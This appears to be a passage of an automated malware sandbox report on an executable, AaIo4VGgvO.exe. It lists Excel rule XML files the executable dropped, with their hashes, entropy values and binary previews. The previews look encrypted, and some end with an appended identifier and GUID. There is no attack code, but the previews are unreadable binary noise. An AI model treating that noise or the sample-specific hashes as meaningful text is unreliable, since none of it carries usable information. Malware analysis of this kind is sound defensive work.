Preview:	<?xml....!.a..xA.w.....\.@b1.q.I..\}'..t._.....9..b.Is.......O[4t.W..9L.E.....3.(....!.Z..{..u.....s.l!..n..S..m..`.....Mk2...T.+..E.......Z.......@Q]R...k........0)...._n...C....../"...vc.?.by....n.F=...hK@..z....r.v....h.f.R..<..xb(.G....#/I.~...o..po.=.g.nF...0'.Q.on6..F'....p.~....y$1S...,..Wz5...Ud.b....O:..\|f.....].$.....{.D.1zXV....<.3Sa...........`..i[umo.+.\..Z.N7.....?.J...Z\|..{..o.R..m..~/._Dv.....>Q...."h...$..........@.......--ielKs......B..PO..,rh\......uy......7.'...;p.....sI..s.`.8.r......hq....4...Bq...L6..x...".......7,.9.2O.\....: '.of.Di<g........u....`F4-.2.9.....JG?]n.t.n:....hlP7............O..+....nRA..g.7..A..+R.^..O........^...$.K..SHu......r....[jF.^5.......h=9uo..."s......=7.a...`.....V..W.-.../.=.a.B.........?..'<....m&..JW.L....6.S.'.../_..c*..5..0..%.q..}0....[...t.m..#p....i....v.U.6-ad.t....B&.%.t<u.v.@v...t...X.Oc.0d:.=.......l.Q..L......J...Y..eQ...Q..U.Q.....M..\|.7:...b....3...Xl.a.Y.Mf.......=g........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.87649277873419
Encrypted:	false
SSDEEP:	24:ozDkLfIZQj53QkHJKm9s0Dwb2J7HyXa7ufNyKJTiWP8yN5Fa8EqbINbD:AmIuj5gmT90wHyX6uVyKJTbPVN5dEzD
MD5:	96026D9E92A3BE2B6D4CA45FD5BF5799
SHA1:	3695CEBFF3E2197CB75EB4280DD98C808E048315
SHA-256:	D3006590A8ABFC26727D1BFE2D7B1990D888778D23FB12C03DF81442FD31AECA
SHA-512:	F7D72384B3D9469E2AFF0D0DB1A5B23604CC8449154384F92F0F66E5B76ABB1BCBF805A3784574F3E018C23CB6982539B7E9C3EE7668894518BF317EB47D4502
Malicious:	false
Preview:	<?xmlU..N......'{\|f.....n.8..4..."S......C.\@J)A.s..6t.F_3"1.-.}..F^.....F.d..g+h.Gq.z.C.....WSOU zXK.@B[=...q.B.k..j.f..^L..r>D.y.."k.?.=.j(.s#8.O)M.[O.@.l.....}.&..b..u^..I'.."y...M.!...?=F5Lh.jI....N...`).L?..I..0.cZ2..e... .?3...'x....Z.....<2.2.l.n.^.<&.'>9..VY.......@rJE.K...2.G7.c..\.:.(.(.j.d.7.[z..YMS...8.w...6v......&....../~..[.N.'.......a.=.....u......@\z6........,...N.._.fS.F....@...khO......6..B...:.I.&........?..w..Yk<.......$q.O,...Q.............a.mqVj.d4....J<..F....O...%.Y...$........F)..e.l.....f.U<ooaZh.=.&.8..7..G...=B. '.+.!.Y.YT.PYd.f}.6....-.-.......H.qu... .t\q.?.,[R.dN>.....^.X.?N...3.%...<....F.....-\.0!..N\.......E.u....;`.P13#.@.....q&z[ Gz;...F.......$._.0.v...4X9...G..Pum. ......._.:.."A....SR.?..ZV...:nx".A_.i....r..g.(.3.r.M.....Z.Q\..O.p...[L.F=2W.?.R.....;..Uo.q..[..QdJ.+.a..Qq.GV.vuli.....Nu.R..U.'.C.CD.7..H.h..M....7Z.m.n........N...R.=.\.'.....U..$.X.\.. ...*...S#....H...?.P4l;..>....6...m....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.887446604093676
Encrypted:	false
SSDEEP:	48:cinRry60UWsJXF1rkukIR82eMW9Qyy/7D:cinR2sJXXsIR8dvQR/3
MD5:	F468B8D9A284DFC4F03C32DB294C6AC9
SHA1:	E2D54754311F85A915FF68A9391D825B5DDC4BDE
SHA-256:	54C249FE4466FEFE7F2609F6C4CC77F5178FE73922587C70DA8C16C416244FED
SHA-512:	C8CB4B2D0D0748266619478F481484C6865656FE53BED2960917F5C85831F0A037A547629CDFB46AB79B0118634DFDBFA4FE7A03B86F8FA378922E58B7171BAB
Malicious:	false
Preview:	<?xmll.2.......&%6~.Nw..vW..+.(=>L.h!..(...tk.Z7....0..-G7k..p.o.qu...j....$....W.4..M.@........&m.k...u...K..]...OA.sqg.....[....@....(B..>...O..[t..C...Gt.}~...W.CJ..._..eL.;.h.........I...v...\.....\|.x.\.UN.l ./0...8.....OthXS....qCn...$q$b.z...V"#.......!y....f.p.s.3s%9..Y...2.........2.,.o..U..Cq....>..k.:e}4..`.....U.......1...uZ.(.BA..WH..M....1..@p.y....H>....ZU...eh......0..k...5...'...O...Jx...T.v.3..B.bq.@=....E..~ddy.?...->..z..U...P..[.]=.=...9Mp..tZ.K..%.g.....v..L0e'....4).^.,f.Tow.F.E.&....,..CzLl..w.`.s...0.....Y~&.!..h...0.7T)w.f....(t..oX.....TT'.C...p......X}....j.......rz@[H.:.~."b^S..!3i].L.2 <...t.d..E9,.#).h=L..\.N.#q..R....6.....$.;..1..9d^.3...M...:....{...e......[.[.'...&..@.z.(oeS......?.....X..Q......Y..4.b.W..%.e..du...S.....`[.....s.\...1\....$?.;$......shrd.........'..;....JnP=A....{.....kb...&.H..7`xID...5.....f~+...>.w...mb...C..Q..\....Q~.Dl.S&M.o%s./...e...#;..6.V~9..>.T......C../,....o.F.q.yc.2S.../....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.863482451782469
Encrypted:	false
SSDEEP:	48:XYEp1YWmJnt0/6h240epj0oRxMMpcbi8ibHNBykGbA3jdzZE3D:ow7T340epoexNpuKHNBykyAMz
MD5:	C40CADE4E4F494CD562A5D25241C2968
SHA1:	418ECCFCE0FAAFEB754A14E6119D1110C6CE89E4
SHA-256:	BA83BA027662561CD064157AC710498F5EB7C08E37DA3C333EAA082CE80C165C
SHA-512:	08E2E71AE469FD9E1D8A092B6E6B4F9FB322EB40327488599904F024366952F9EC5504CDA9618A65688EE27615A0235D8DF2A915E09C03FC591491DDD9DA7392
Malicious:	false
Preview:	<?xmlxp.X...l.h.!R..N.v..;..w7E....(...........t.+.6....).V....XE.......L'1.....d{....,Cf<{...t....!.OF./H..f.-.P.yU..p..9..@G.....S.......* ...b...&.....Y....zJJ2y`.n...f...H.Zp.a..M.7T..ac..Mm.]...8@...(=u\.O...WH.....V.,..."..=..6`....P+..1..G.>6Et.a0@..ws#x..3_P8..>,i...c#.X....z...UF.B.O....J.7..`..h.\|.9...5.r@m.5E.V......`.....H...Bi.W......f. U.....V...QT._P.t.>!t.!..]...e....M.S<?S.1..C^.. `J..}]u\3.0...rt..Z-..$K.x..A@>.Hc..?.i..8..(... .9..\|..u..y...JA.u..?. .j..V..B.K.B.) b..BT..LS....n<Y...Fp. C)2...w..).].3.U.k.%..!i,f..]....U5V......V....0..==D....F4.O.8..jn`cHM$...16.(u..,O2,CS.U..jp..x..#.).hw.0..........,..E1.@..a^{e.2..D. ...6..].%...R....U.K...".Xs....=1..`2$.1..@... .Xt.M.....L.N...ax"{....B-....._.~......-.3.}8.7.fxD...H."..K......#M$.....@q....'..]..W...8......g....U/..4,9.)K......c...]2....ZL....\|..d...XEQ......)(..K2,=n.no....`$>:0.iv..._.<.g\|.....}.Y.f..;........f.....9E:..=...'!e'...#.;..+.QE.{j.a..Ry. ..../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.8485476820976805
Encrypted:	false
SSDEEP:	24:QsAdx3vDuA+91mz/TdP5XAzCBHOpUR11j9HsZTQxpBE0g3GbD:OdhvDdImz/RP5XAzCBHL1cTQ2qD
MD5:	84CE0CB2410070EDF2D63CA459148218
SHA1:	6DE7E1A59FD4196A5CBD7E04F42B39696E9EB12F
SHA-256:	006DB0549D8C33D1FBE421142BF84680E1334F66DDE76AEC919418838D3F95D3
SHA-512:	F751A2C46ED4E99926C2771C814B5D96CF505B6B747EC0C16021A1C6C62597F225B694AFF4042FA9388FCAEC901C29827207892AE9B93A260B7FDDD60906FDD1
Malicious:	false
Preview:	<?xmll..r...../n6K5.....r...Kp.sj.(F;.-..;~..j...$.........XN.s.>.:...O...xO....=.$x...".I(..W.}(.......rJ_.z...uk.N!..T.S.".o.vq..S....!....?uMm0..b.........?..C..s..o"...f.xa...`..\|.AZ.E....P.u.J.;.A.....w.A...>l...otlM..... ..}.h..s6...ZAOAw`....A.c'...5.o.dK<...X..om..Q:.a.t....3.JG?"Z.tC..Z.......}.35......S....we..bX.l/...._.#M.............}v......e.rq..$....;$c.......\|...=.>f..z...><6VP...Y.%..K."........&A.m....T2.....:.b..............!...p60#..x.3...2.f...v<..n...k......W.U...E.......W.N,?j.g.....3'....-.D......df..Za...7...0.\X?..f.T.G..W6}...q.....z$.0.&C.J.pa..uVn.J.b..O8.Yh..oi.\|o..l]..>?>..g...A5,.Eq.t....?..."..s.\.=.1.t.zp.2"V....V..*.A.E.o.Y.....~,........}}.=..r.\|Gr..cfy,.^...16R.8c.+.X(.....S..f%.y...js.U]........l..(N.~6...v..........L0[_...!C.d{.x.D.9#.Y..2G}.ggUh...>s....@.-E...Xf..a.e,...W..-U............0....s....^.WF....5...VO...)..nT.......H..-....U...\|.....uW.}X.l..\|.#.2'b4z.W...n.........}.{.N.}......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.860322931778518
Encrypted:	false
SSDEEP:	24:dfz7K9JlRlz3CgIogz4JQ5CqIM8CA51fpvl4NBJLt1yayIJxT+kucJiiDbD:xiTRV3re4Jn5M8CQFCf9OayW1buKHD
MD5:	B92FEC40D78C0296869FD1835815DC5E
SHA1:	ED710376BAAC4042FC8DFBEC537CA18F0E5E9AB7
SHA-256:	745105D523F557A5EB7F90A2FB5415CAE5F4416E62EADB47BA6112F76DA7C6DC
SHA-512:	FDF8837EB9B48E5F05117FAEAADD7C069583962ED001D4571B5A7CE064D2A08196203EBAE1328DD86B102595231D7B492F655BB4F16D09DF5E8AA874BAE1396E
Malicious:	false
Preview:	<?xml...a.y...!.d..Od.\......e.a..f@.OA1...>.../..+.X\"..V.z..{.w.D..0.QYJIq..5.f...e....wp....+...E.R@.hV..3M.6..P ..../(../.4.JI.../AIW..."..o.&...w[...0f..:..V!.....@4..=.k.....{.+]....s..%z.]Y>'.:...M...z_..s.K.)7....X.G..c......G...}Hy...&..&C......E........`.?.].A.......-8.Yk.b.......J....LO......^{s..m2a.\|s........t:9../.<....5t...d\.....J.FmAR.u.N}..S..=.;..d1..2..n.[...di.b....S..mp.x..f..W.H......L#..Q~....&../../....:LQ]t....\.......q..<.0;.....ew.u.....M._ld..$w..b...3h)..d@..o$\'j.a.8...T.<....]...1p...wv..a.....^l.....:...B...8R...y.h).>...m%...e."E8......~..}z5:N.&.Iu.DfQt.<.A..n.zx..Bw....}[...3)v.A...`.....\.{,[........n.0^@y'..<"]\|.x..pp.5.DP....u..j..N....N.\.B....:6...:LY....w.]-.....}.b....-@...zh......Y..l.c7v.6.j....4..G......4?..<.2..=....By......Hl......{.ES..m2].#V.L.}).?'..:u....@^.t...r!.......L.R0..T.V..P..>...{........$.W"^.1.....^dy..<+...o9VD..;..h.W*W8.G.Fm...N.\|..b.M.Wa...,....<.S...`F..yJ0Oc;j...m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.860047202142351
Encrypted:	false
SSDEEP:	24:zaH2AQ96Zv8fwOEIHVMuELllAhswIuHbWI4bNKCqSX4ThGs3fdno2Jskhr13/HEM:zaHy6h8fZrgqTFiI4bkfbV13cNnaD
MD5:	472F4F11A7FF1535A05E5573888DD8E6
SHA1:	9F6144A703B5EB3590F6B61CCAB08468D8918ED6
SHA-256:	6D10A21E41424EEF02AB2209C718EB3CBCAB51347D5A6C50708B10EBEA31BE13
SHA-512:	44492B12480839D2DE6F3DB59B69FF704091ECB47F5925E34B46D2F25F30A50204220C5E2632F6566AA4A8342473F1399D06EC2D0C8573A113C191A84356F61C
Malicious:	false
Preview:	<?xml.....O.L.R.$z.-..p1s.y...H..t...t.ZR...cW...kB/..A...;..B.....(8{g....<D...). f?OA.&...[.\l^?S......l\...H.F]..m...7^...wG.....M......lG..U...V.e1..[Wxb...#....v(....{j..&..u....4...I%b..#T..Rja8])I~.EA<V(..[ ?4.o.\.f...mG\.........n....ep\,Yn...<...B1.#...\T...n.W.>4m....g[J......-?+G..,../`.CWN.....8)...>.s...aZ..d...N..w.c......X.t.@.....{%...x.` W..3!..`.Q0.?.$LS.."j..a..^.d. ..#.#.....V..b0..ea..O.(..."v.<.....0..3.wr.....A.x .uT!'..i..(.7..K.....=Ka..,'....j.Y...\.waw....A..0x......w..:.r.(`...........X.wI,......LU....+07..X@L!..`S.....I..?.{.(5.k..k.OBJ...u..<..S.....j..2..X]...B..].X".~..7.=...,?.h5.zo8.u...8sr._^....I....`.1...1o.eL.?..5..L.E .U.b4.*....$.&oj.....q....IB6..C?....i._.I..c!WZ[1.Mv...+.}....?.....G7...?b#ve..T.#i...Q...J\|...j.A.zzo..:.l#.4.n.g%...:......U. .6r....T".D...0J.r.+8...W.. ^{.H.7.V...eU..Q3,.......>3.d..z..........S".1...?.>.....C\|...>.-.>k...1cD.wp..wa.Iu..........<..7<?..~x.].v.m.%...I...~...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.776151192080288
Encrypted:	false
SSDEEP:	24:Y2n4rGjQK17vKmkL0TDUV+NgN9eVRQAOhObD:Y2nAWjpKMsV+NvcA5D
MD5:	76A1BF77A05CEE9C10294BCF1F4A7799
SHA1:	33D41861343932EDBA86F6737FFF63EDFE64514E
SHA-256:	83CDECC0F3C189D12520A3F02DBDB57D81FB6C1EA131250C82E6F4297F0FA136
SHA-512:	AB12AAB5C16F5AEF98B63CE7825AF7251831A6AC0253B0429741880E31A5851D8194BA467F5FD58AC6EE83FD0150AC625F4282FD1AFBFABA18E54EC730E23930
Malicious:	false
Preview:	<?xml)..F'.m..&..)..:et.....;(3~q.\|'^P.x.S`^.~/.rW[3...R...O........c.....B...@VO..?......B'...r}..U..8sF.4..{.~v.NC........c....r'.5.K..d..-Vw...5.g....f=D...LI.J.t....V...+C......)..'.......!...k@... q....s..m.N......xZ.jD..J9.g..b.E....T.D....T..S+C...&.:].U.RE6XH..(........}.u...R..k.........&....M.J[.B..l......:....?......57....M....o......;..< p....P.^6k..'.b`.[..e.E.2......i......C..@.}"...;.....9.Bi!..+<..e...\.~.8.y....N....I.}1.l.k...~...?.NP...EQ.{V.J.@F.J.>..Z..{5..9....R._..gma..r..D#.7T.Jw..-0.,...O...(f.\|.."..W'....z@xZ..=...I..(7......]E.U...O[.6P.!...5D.@5.G.....2..XR.....K...s..)...\.M.=... .l....:I..%.NG-."../..1Y..?..r..eg.#....N<>..\......j..0E. I...$.i.t...R?=..._.\Z..i[&.g=M.WgZ...$..H\|..V.9S.6..X:...pc)....M\|.].7h..@....@"......q"..Q.%.).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.94785925565858
Encrypted:	false
SSDEEP:	48:B5jqohxtQETC/NxSqwtbdqmHrXlXdio3UNH5bM44jA/nDr/wF65JtVEBDoK6u+BZ:bqWNTSr2tbkmHrytKvjSr/wEJvvDBZ
MD5:	498BB6D239F6D28D765E585C59F2AF75
SHA1:	E8A36F66C077B2A829BBBC8258129E213AEC12F7
SHA-256:	AC9CC5C06CCD4543E1E313C08225A764A52B7204D27DCF2A7D32A4D104C02877
SHA-512:	6DBC2E56A9CE9269C3112AD88CF63B81D06ACAF190D8B7185CF5D80360DF43C55DEC1EDD0F20FA1595438B1ECC18B6A2434BDD6B253B8043B524166140522002
Malicious:	false
Preview:	<?xmlb..Mw......y.:l...y.!..q~.d?Q6....h............R.x.LvHaK.....{Hh3..Z.1z."...[.F.L.D..../....0. .6.P..{n.P.jXk7.9..._........&ol.....J..Vy.>....U..W..V..j.'.9<...(.t..\+(.;..B_...su...2.[...B..>.X...M.\|?.i.Y..N.\.x.........lo.8v..]....[.. ../.`~~..Q..[.^..:.\|..v....Ar+]....Y.KGw&.[.....d.=>...A..1N.<..gV..Lo......o.<E..-..?T...$~....[(..F6........x-;..`.d..i9,W.%m#].6..,pVJ...Vg%.h.p.eC..J.!...!.....I._.@........on.hk....[...}H..lmjl.W"J=........&.!>.Ht.E...5QpZd;P.....')T!M .u.r4...I...&...o...`.5....o^......... .....rg../S...bh.....I..KL.....'5..'....~....p..J.....R.#p..{..?H.n.5...Yq .... Sh...3$)I.3..O..i~E).....2...H..y.....F....E+,.e.....,v.A...P).........~.?...4..V.%.6...J....i...'`.....@..."..j..U.2&.T...?.o.[.....\|..._n.M.v...Z......{..hXm..E..~....:..'...e..Y.{.....8.!..y6......C..k...6,.....e..8r+M<..v*..3.`X...jV...\|.....\.f.!..'.q..3.w.>z.u?>O...4...}}'.]..3.....!.4U....vT)P...q..v...;...(....l.hJ.wb.Y..+.~1."m..#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.952837569694388
Encrypted:	false
SSDEEP:	96:rBt+E5WB1oyXZmsUWIHBz5/f6Z0DbrvSsFfYL:rBQYB5Bz5X6Z+SsFwL
MD5:	1607AE91412538A02595DC10B1D79447
SHA1:	5833B1D7FFA1CFBD26766A3CE43EEB8308AF47FB
SHA-256:	112FADF7395B741CC8AD326960E5A2AF50ACFC3C12CBE2CB483E05C8A132C568
SHA-512:	EA00E1876935609DB88F9C66BFBECC228F28C1D980073100B5C10F017DB200D8BF480720CBAAC9148137D304E6B4E870C56E74CB4B5FD48FD4BF441013582533
Malicious:	false
Preview:	<?xmlY...leF......G....jT.%..^...P.A.i.3VUZj{.$f{U&2..RA/.0e1.CG......i.....s06..3..=.....H.\|..V..N.x?..u...%...`...&S.o..R.8Q.R... ...t..@..{.....k2......E.I..X2..g...........%]wY..8]....+...[`..T..;5......g....M..M.$. K.."G...........hW.q>..]tdB.uS.\\n......zA..........y.G8.\|....6.a.1........e=k..>...;q.....tR...g.....@...]b.=.../..w@..j.jDa7.a.x..e...........C[.....\.x....mLTU..+...C\|.t.../n..E....bd.os.rJ.]...>..o#.e.i..........1~...I..MP..../.0.p:..3...oV...0s....gKa)..j}.CS^~.o.F.....f.{."..H ..X...][;.-..)..A8.<....U~.e.#.S)....4....Z..U......4..").{....%v....H^".1s..1w..C.3s.Yp....8..N...).&..T...=fUD.S...nI. ;g..(:Ra.....&#JYr..A...%.{G.q.J....b.o...pZ)h._..x..%!.Y......c....{i2.+b..#A.\2=)qHJZfG.z........hs.eL(..q.,..u.]..,......K.....nqXo....6.U.SP4..)W........>V...B....&.....j..$..8.z........&W....[~.1..V....)W0.[....vB....w.J..."...[.\..]d..o.f..f.........?q...bR.q@........h.m..P...`n.:...8..[`...c.l.........mO.,*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.686796621173925
Encrypted:	false
SSDEEP:	12:S/YMI2JSI2EEiQpYZecGfLEvZldtqLcw0FGtkgzsWGjGW2uvSSz1+cii9a:z232264hb0ww0FTgzZh6PAbD
MD5:	9306098B5795E7F75E1948B0E328CBB6
SHA1:	1A661D6DD78271968AF265027091ADBE4E51D4D0
SHA-256:	DBF8F47FEAB23A32F54902AEFBBC9FF3DDD1382325118771AB7FAED146E47904
SHA-512:	1A2ECB18643045211CF61F884724114BFCED7BCB4B45523A78052AE3124577AC12E65A729292961565CB3D4AC874C85FAED18EC42FBDBD7278ADBE9D369F607F
Malicious:	false
Preview:	<?xml....r..c......'...A.w....T...]...h\|...o.E~.<.s.._..:DW..KIc\..V.}#.Gi=..(..Y...+..g..`.ye.&^..~.<...%U...Z....r...\|Z.5w.....w'...!Zn..`.V....#%x.n2^...9..#...k].eAD..Z`...w2......!.....&...Z.-V.=...._.O.I.Ue.1.N?...}..\....Ni....'..myP(.m(K..Qu..:P..D1.."B.z.....\%i..1@..BM..z..1.-..XTTg.pK..V..U....q..5.G...B.}Kb....`.\<z..<..Q'`Vcp..C.....[vc.P.t1,]-.....Y.Z!..)C.`Z..%~.0SA )...?..c.F..<I".I.....(......P.....3..{.0N.k.U.j84.E..M....0.b. We.+..@.:..-2.+[.y....\.Z..N2...vj..e. ...\|...J\d..S...........[..6e.....c=...(6l..j..^cS..C........K.m,.p.,..S6.....Al...k}.....;.G.B..#UR._...2.f..>.t..W.d.?.......C.nx+..3ca.P.B.K5...`\.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.874399334503346
Encrypted:	false
SSDEEP:	48:baXe0fdDX6856c+NebPKcOvbMPNFsy8M/Z1mD:bCe6LSc+obPKcOTMPXx/Z1+
MD5:	B7701A6B82497F4C7A355E628AECFB15
SHA1:	C15C3E1F585D42C28CA65548512F00D79799BB65
SHA-256:	D2D9A83DBC4E1427C75039240A79E736587816700D8AAA44E3DAA6BD4FF51172
SHA-512:	114DD2749F2B50FBBBE4F07B60F40A0BF94D4AD27B651EBA087212F78433C878F28A399738047BF81B00E4762B84389A250D143E69EEF4567DB9E48A316128B6
Malicious:	false
Preview:	<?xml.-....K.....B..y...o.....k..C.0.g...D9;.]c....o._.68....sg..![M..[o..O-0..R.g,M..~..4.I..q......Cr.?r~9..{k.Ag......."./'...S.z.;x..Q..a............>..w......W..pvV-[...&J.v.$"......ts4...2...G..6..@...e.W..._!...........6....2..w.hP3....X.e.......W1.'....Y..;..k.c...Q..#.j..kCD@..$.g...[..I{....1f...a.!g.......}...6....[oA.......:.N.3...C.?.....<....}6b..L.=Ph..'....e8..z..>...;.t...W.a.<!.*.j...S>_....m.U.}".Z..T$+..!........@.e......#....z.i~.2....Y...<..M.D..mI#....J...p..b..SlL.?P...=...~.oXp.U@....SV..]9._..;..r...CC....+%..T.Z.A......m. %.....$.C%...~......f.......c7CY9=....lvE.._.ta<.}..^{...._..T.=.].^.=..$.U<.>.f..]F....R..$..?.N..bJiduS.. .=..<...h.x/U...B..Q2h4S?.k.~m}T\|..N$7i...Z^..j.?-0..."W.U....+........K.RK.m.....>.d..n...v=....Z.X.0.-...+.Sr.....\|M..g..F.%.x. -...WU6..?...#..o...l.mo...SR......\|.ol&..6..1....LN7K.8.......l#..ex...c..\|.....u....}+..Sc...g.'...~I.U .........O.........2..kU...X).5&}....I.Ei.N.~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.731905289266769
Encrypted:	false
SSDEEP:	12:s5Wq5m/Mtj4PguhiYWwhur2pfWo9NIBwwsdXMqiTsd9EuuJcc1+cii9a:aWCj4PgBvov9N+wwqcqwK9luJcXbD
MD5:	FA8D9299C20AC2F1FE4ED9DE3AFC9EBD
SHA1:	6EF47B9DF07A6F04B892F16795DFBE6B0D7DC334
SHA-256:	2FADA22E53B4ACD0C28C80C0F3311ECD83D50D571DAC14D72654D11BC2F414DB
SHA-512:	86227B27DAE33ACFE6F2DFC97CF96BB57C4A29E03846797D636B95926F897871DE72C65F348D3331B02B37EE9A63C262422707B1E92309DE63BCC5B3D6164CE3
Malicious:	false
Preview:	<?xml. .03[.I%._....0.e..n3..w...3{..I...v....._.@.[.{...'."....s.5..o......\..!".D..D...sBz.......bC..1...PLP....f.m`...l...5.h^9.-<n. .:.K.l......Y=..V....4]..1....:$yc;P=...A.k(:...(hus.b.8n....@....0..c.iF/..A.^V..g.......Dqe..EuZ..^v\...%....<.e.k\..m.......]>...C..Q'.{4...6.T ..u..\|}.....p._.....m.)\1.3.x[.u.........+..$..Xb.z...g,.'...R}...$.\|.-.e..x.cH.2.}.(..L.g..G..e!..`...mC.U.....>lx~..];`mZ..PB..Z(.uH.a..D..f.....7q..6...UP.(.gA.D.K...I.UK2;y....A.7....oK.SvG.%...Gj.Cy...dG.ig..}......%I\T.....t./.Yav..0.......t.<m.^.........b..lJI..I....k^U....:;...UDr./...H.2...G..m7.E.v..I.2...'.%S.q*2..y........!.X..H....p.f.).......I.'....k6....4.l....1gn.M.K...Pm..N...@..6...\...).......A.3Uyw.=...bSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.777935691501506
Encrypted:	false
SSDEEP:	24:2HR64R3JfqgbzDiaq6iFqeC5PClpgXnIPMwpl1bD:2HR64R3JigbKaqjFqeC5qlyIPxpLD
MD5:	C7DF638A82D914C18217B98AA6CD3E75
SHA1:	2582A852EA7C941E887CD4CAAFD082ECA93F4F2B
SHA-256:	7C59DF3FE68F5DEDCF9BAF7212369451289053B027F763BA8D0DD8E97D9701FF
SHA-512:	9CEF4038F945948A13F3AF567F704724C213E1E1E079F39369E5EFC963B0A4CF84D1F6C05D2FE881FCB626577AFF3030A298897B1F4D0A41CD1DB5792556ED23
Malicious:	false
Preview:	<?xml...2.l...W........n.....4.2.8...lI o.0...I..w.B.........~..@"F...L.z..;.6D.:.M.(k...k...m.q.X.....f.P.._....3..f.L....f..~...7,.d...a.`.or.Nw.....\K.i1.2"..}..L....N..fy....... ..N.T.N%.I.l...Y...6u.W.l..9.I..v.S@b....v.4l^..x.L.w.z.~`.@...2.LC..m.........n.s.fQ..q....~..........$.I.n......]...G.......;N.paS..W&.y{.0..h...\|...A.Q.%B.h.>..........Va.....%.."..G..H....dJ..W.-o.}\......,Q...]/..P..6.O.=...D.#...Ik6}..d.3........i...oXm.^.q......v.xG.......{TN`[.Q...?.oq......T.Yt.....}5#.y...TF.*%~}...G(........L .^...j.b..&z...a-..,.../...%.}.4.ekJ"......e.3....'......@f....(Y...s........;.....&.....l.=.Y..s.....Sst.r....4.K.gt....KzVCG.J.%1.......a.6..Z.61..4...V.L..9...6.#.&..G.s=m...F.\|......p......cR.q+F2.@M.Q....W.#;...b"...Z..1..:..l..s./....KZ{#.?..S...5.2....."..."y......N..y6........l..x.....c...a....vI.....u.c..MK..4.LQ.b.VI...9.,.O...}....8K........l.5..(<..[....( #."..H.:.p.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.835448038765
Encrypted:	false
SSDEEP:	24:y/0ZlFBqocJRyBB0m1zYT0EoCsMq7j3YVyRT+yGuQHMhGMb25GJbD:bfBq/RwCqzvEft2QgiiQHMh8GpD
MD5:	D65F05C8D3E8F654CB1D91EFFD092956
SHA1:	8F3CD0A91494B271D9F9A5BA703A947370D21E06
SHA-256:	37FB140BA15E034DA034D3B8BE375AEE77307D5A3C13E6F23021B82FEC01B64A
SHA-512:	552E42E2C666BDC996D4B5C9AF4CA39CD05B5EEE322F9901EF34652C37631A91D0D16B4A1FF1C81A80F74834A412A3038709CADCA14E7D68E910898CCA064BA4
Malicious:	false
